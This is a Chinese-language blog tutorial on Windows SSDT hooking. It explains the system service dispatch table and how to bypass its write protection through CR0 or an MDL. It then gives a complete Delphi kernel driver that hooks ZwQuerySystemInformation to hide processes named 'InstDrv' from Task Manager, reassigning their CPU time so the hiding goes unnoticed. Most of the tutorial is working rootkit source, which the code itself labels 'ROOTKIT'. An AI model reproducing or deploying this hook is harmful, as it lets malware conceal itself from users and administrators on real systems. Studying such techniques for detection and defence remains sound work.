作者:mickeylan
一、一般思路:
1.先來了解一下,什麼是SSDT
SSDT即System Service Dispath Table。在了解它之前,我們先了解一下NT的基本組件。在Windows NT 下,NT 的executive(NTOSKRNL.EXE 的一部分)提供了核心系統服務。各種Win32、OS/2 和POSIX 的APIs 都是以DLL 的形式提供的。這些dll中的APIs 轉過來調用了NT executive 提供的服務。儘管調用了相同的系統服務,但由於子系統不同,API 函數的函數名也不同。例如,要用Win32 API 打開一個文件,應用程序會調用CreateFile(),而要用POSIX API,則應用程序調用open() 函數。這兩種應用程序最終都會調用NT executive 中的NtCreateFile() 系統服務。
用戶模式(User mode)的所有調用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最終都封裝在Ntdll.dll中,然後通過Int 2E或SYSENTER進入到內核模式,通過服務ID,在System Service Dispatcher Table中分派系統函數,舉個具體的例子,如下圖:
從上可知,SSDT就是一個表,這個表中有內核調用的函數地址。從上圖可見,當用戶層調用FindNextFile函數時,最終會調用內核層的NtQueryDirectoryFile函數,而這個函數的地址就在SSDT表中,如果我們事先把這個地址改成我們特定函數的地址,那麼,哈哈。 。 。 。 。 。 。下來詳細了解一下,SSDT的結構,如下圖:
KeServiceDescriptorTable:是由內核(Ntoskrnl.exe)導出的一個表,這個表是訪問SSDT的關鍵,具體結構如下:
TServiceDescriptorEntry=packed record
ServiceTableBase:PULONG;
ServiceCounterTableBase:PULONG;
NumberOfServices:ULONG;
ParamTableBase:PByte;
end;
其中,
ServiceTableBase -- System Service Dispatch Table 的基地址。
NumberOfServices 由ServiceTableBase 描述的服務的數目。
ServiceCounterTable 此域用於操作系統的checked builds,包含著SSDT 中每個服務被調用次數的計數器。這個計數器由INT 2Eh 處理程序(KiSystemService)更新。
ParamTableBase 包含每個系統服務參數字節數表的基地址。
System Service Dispath Table(SSDT):系統服務分發表,給出了服務函數的地址,每個地址4字節長。
System Service Parameter Table(SSPT):系統服務參數表,定義了對應函數的參數字節,每個函數對應一個字節。如在0x804AB3BF處的函數需0x18字節的參數。
還有一種這樣的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服務,也就是我們常用的和窗口,桌面有關的,具體存在於Win32k.sys。在如下圖:
右側的服務分發就通過KeServiceDescriptorTableShadow。
那麼下來該咋辦呢?下來就是去改變SSDT所指向的函數,使之指向我們自己的函數。
2. Hook前的準備-改變SSDT內存的保護
系統對SSDT都是只讀的,不能寫。如果試圖去寫,等你的就是BSOD。一般可以修改內存屬性的方法有:通過cr0寄存器及Memory Descriptor List(MDL)。
(1)改變CR0寄存器的第1位
Windows對內存的分配,是採用的分頁管理。其中有個CR0寄存器,如下圖:
其中第1位叫做保護屬性位,控制著頁的讀或寫屬性。如果為1,則可以讀/寫/執行;如果為0,則只可以讀/執行。 SSDT、IDT的頁屬性在默認下都是只讀,可執行的,但不能寫。所以現在要把這一位設置成1。
(2) 通過Memory Descriptor List(MDL)
也就是把原來SSDT的區域映射到我們自己的MDL區域中,並把這個區域設置成可寫。 MDL的結構:
TMDL=packed record
Next: PMDL;
Size: CSHORT;
MdlFlags: CSHORT;
Process: PEPROCESS;
MappedSystemVa: PVOID;
StartVa: PVOID;
ByteCount: ULONG;
ByteOffset: ULONG;
end;
首先需要知道KeServiceDscriptorTable的基址和入口數,這樣就可以用MmCreateMdl創建一個有起始地址和大小的內存區域。然後把這個MDL結構的flag改成MDL_MAPPED_TO_SYSTEM_VA ,那麼這個區域就可以寫了。最後把這個內存區域調用MmMapLockedPages鎖定在內存中。大體框架如下:
{ 把SSDT隱射到我們的區域,以便修改它為可寫屬性 }
g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
lpKeServiceDescriptorTable^.NumberOfServices * 4);
if g_pmdlSystemCall = nil then
Exit(STATUS_UNSUCCESSFUL);
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
{ 改變MDL的Flags屬性為可寫,既然可寫當然可讀,可執行 }
g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
{ 在內存中鎖定,不讓換出 }
MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);
現在遇到的第一個問題解決了,但接著面臨另外一個問題,如何獲得SSDT中函數的地址呢?
由於Delphi不支持導入其他模塊導出的變量,因此我們在這裡使用變通的方法,我們把KeServiceDescriptorTable當成函數導入。因此在處理上就和C不同了。由於KeServiceDescriptorTable是當成函數導入的,因此它的真實地址就保存在IAT表中,我們首先用GetImportFunAddr函數從IAT中取得KeServiceDescriptorTable的地址,接下來用SystemServiceName函數取得相應函數在SSDT中的地址。 SystemServiceName的原理就是因為所有的Zw*函數都開始於opcode:MOV eax, ULONG,這裡的ULONG就是系統調用函數在SSDT中的索引。接下來我們使用InterlockedExchange自動的交換SSDT中索引所對應的函數地址和我們hook函數的地址。
3.小試牛刀:利用SSDT Hook隱藏進程
我們所熟知的任務管理器,能察看系統中的所有進程及其他很多信息,這是由於調用了一個叫ZwQuerySystemInformation的內核函數,其函數原型如下:
function ZwQuerySystemInformation(
SystemInformationClass: SYSTEM_INFORMATION_CLASS; {如果這值是5,則代表系統中所有進程信息}
SystemInformation: PVOID; {這就是最終列舉出的信息,和上面的值有關}
SystemInformationLength: ULONG;
ReturnLength: PULONG): NTSTATUS; stdcall;
如果用我們自己函數,這個函數可以把我們關心的進程過濾掉,再把它與原函數調換,則可達到隱藏的目的,大體思路如下:
(1) 突破SSDT的內存保護,如上所用的MDL方法
(2) 實現自己的NewZwQuerySystemInformation函數,過濾掉以某些字符開頭的進程
(3) 用InterlockedExchange來交換ZwQuerySystemInformation與我們自己的New*函數
(4) 卸載New*函數,完成。
具體代碼如下:
unit ssdt_hook;
interface
uses
nt_status, ntoskrnl, native, fcall, macros;
function _DriverEntry(pDriverObject:PDRIVER_OBJECT;
pusRegistryPath:PUNICODE_STRING): NTSTATUS; stdcall;
implementation
type
{定義ZwQuerySystemInformation函數類型}
TZwQuerySystemInformation =
function(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
SystemInformation: PVOID;
SystemInformationLength: ULONG;
ReturnLength: PULONG): NTSTATUS; stdcall;
var
m_UserTime: LARGE_INTEGER;
m_KernelTime: LARGE_INTEGER;
OldZwQuerySystemInformation: TZwQuerySystemInformation;
g_pmdlSystemCall: PMDL;
MappedSystemCallTable: PPointer;
lpKeServiceDescriptorTable: PServiceDescriptorEntry;
{ 由於Delphi無法導入其他模塊導出的變量,因此我們變通一下,將其
當做函數導入,這樣,其真實地址就保存在IAT中,每條導入函數的
IAT記錄有6字節,格式為jmp ds:[xxxxxxxx],機器碼為FF25xxxxxxxx,
FF25是長跳轉的機器碼,跳過這2字節就是需要的地址。這點與C中不同,
需要注意。 }
function GetImportFunAddr(lpImportAddr: Pointer): Pointer; stdcall;//從導入表中獲取一個函數的地址
begin
{ 直接使用指針指向函數即可,還原SSDT的時候類似,也只需要指向
KeServiceDescriptorTable }
Result := PPointer(PPointer(Cardinal(lpImportAddr) + 2)^)^;
end;
{ KeServiceDescriptorTable+函數名計算SSDT函數偏移 }
function SystemServiceName(AFunc: Pointer): PLONG; stdcall;
begin
{ SSDT偏移+函數名,就是SSDT函數偏移 }
{ Delphi 2009中支持Pointer Math運算,可以這樣寫 }
{Result := lpKeServiceDescriptorTable^.ServiceTableBase[PULONG(ULONG(AFunc) + 1)^];}
{ 如果用其他版本,就只能像下面這樣寫了 }
Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * PULONG(ULONG(AFunc) + 1)^));
end;
{ 我們的hook函數,過濾掉"InstDrv"的進程 }
function NewZwQuerySystemInformation(
SystemInformationClass: SYSTEM_INFORMATION_CLASS;
SystemInformation: PVOID;
SystemInformationLength: ULONG;
ReturnLength: PULONG): NTSTATUS; stdcall;
var
nt_Status: NTSTATUS;
curr, prev: PSYSTEM_PROCESSES;
times: PSYSTEM_PROCESSOR_TIMES;
begin
nt_Status := OldZwQuerySystemInformation(
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if NT_SUCCESS(nt_Status) then
begin
{ 請求文件、目錄列表 }
if SystemInformationClass = SystemProcessesAndThreadsInformation then
begin
{ 列舉系統進程鍊錶 }
{ 尋找"InstDrv"進程 }
curr := PSYSTEM_PROCESSES(SystemInformation);
prev := nil;
while curr <> nil do
begin
DbgPrint('Current item is %x'#13#10, curr);
if curr^.ProcessName.Buffer <> nil then
begin
if wscncmp(curr^.ProcessName.Buffer, PWideChar('InstDrv'), 7) = 0 then
begin
Inc(m_UserTime.QuadPart, curr^.UserTime.QuadPart);
Inc(m_KernelTime.QuadPart, curr^.KernelTime.QuadPart);
if prev <> nil then
begin
{ Middle or Last entry }
if curr^.NextEntryDelta <> 0 then
Inc(prev^.NextEntryDelta, curr^.NextEntryDelta)
else
{ we are last, so make prev the end }
prev^.NextEntryDelta := 0;
end else
begin
if curr^.NextEntryDelta <> 0 then
begin
{ we are first in the list, so move it forward }
PAnsiChar(SystemInformation) := PAnsiChar(SystemInformation) +
curr^.NextEntryDelta;
end else { we are the only process! }
SystemInformation := nil;
end;
end;
end else { Idle process入口 }
begin
{ 把InstDrv進程的時間加給Idle進程,Idle稱空閒時間 }
Inc(curr^.UserTime.QuadPart, m_UserTime.QuadPart);
Inc(curr^.KernelTime.QuadPart, m_KernelTime.QuadPart);
{ 重設時間,為下一次過濾 }
m_UserTime.QuadPart := 0;
m_KernelTime.QuadPart := 0;
end;
prev := curr;
if curr^.NextEntryDelta <> 0 then
PAnsiChar(curr) := PAnsiChar(curr) + curr^.NextEntryDelta
else
curr := nil;
end;
end else if SystemInformationClass = SystemProcessorTimes then
begin
times := PSYSTEM_PROCESSOR_TIMES(SystemInformation);
times^.IdleTime.QuadPart := times^.IdleTime.QuadPart +
m_UserTime.QuadPart +
m_KernelTime.QuadPart;
end;
end;
Result := nt_Status;
end;
procedure OnUnload(DriverObject: PDRIVER_OBJECT); stdcall;
begin
DbgPrint('ROOTKIT: OnUnload called'#13#10);
{ 卸載hook }
InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
LONG(@OldZwQuerySystemInformation));
{ 解鎖並釋放MDL }
if g_pmdlSystemCall <> nil then
begin
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
end;
end;
function _DriverEntry(pDriverObject: PDRIVER_OBJECT;
pusRegistryPath: PUNICODE_STRING): NTSTATUS;
begin
{ 取得指向系統服務描述符表的指針…… }
lpKeServiceDescriptorTable := GetImportFunAddr(@KeServiceDescriptorTable);
{ 註冊一個卸載的分發函數,與與應用層溝通 }
pDriverObject^.DriverUnload := @OnUnload;
{ 初始化全局時間為零 }
{ 這將會解決時間問題,如果不這樣,儘管隱藏了進程,但時間的
消耗會不變,cpu 100% }
m_UserTime.QuadPart := 0;
m_KernelTime.QuadPart := 0;
{ 保存舊的函數地址 }
OldZwQuerySystemInformation :=
TZwQuerySystemInformation(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)));
{ 把SSDT隱射到我們的區域,以便修改它為可寫屬性 }
g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
lpKeServiceDescriptorTable^.NumberOfServices * 4);
if g_pmdlSystemCall = nil then
Exit(STATUS_UNSUCCESSFUL);
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
{ 改變MDL的Flags屬性為可寫,既然可寫當然可讀,可執行 }
g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
{ 在內存中鎖定,不讓換出 }
MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);
{ 把原來的Zw*替換成我們的New*函數。至此已完成了我們的主要兩步,
先突破了SSDT的保護,接著用InterlockedExchange更改了目標函數,
下來就剩下具體的過濾任務了 }
OldZwQuerySystemInformation :=
TZwQuerySystemInformation(InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
LONG(@NewZwQuerySystemInformation)));
Result := STATUS_SUCCESS;
end;
end.
這裡我隱藏了InstDrv這個進程,加載驅動後可以發現我們的驅動確實Hook了ZwQuerySystemInformation,而且在進程列表中也看不到InstDrv進程,說明我們的驅動是成功的^_^。
没有评论:
发表评论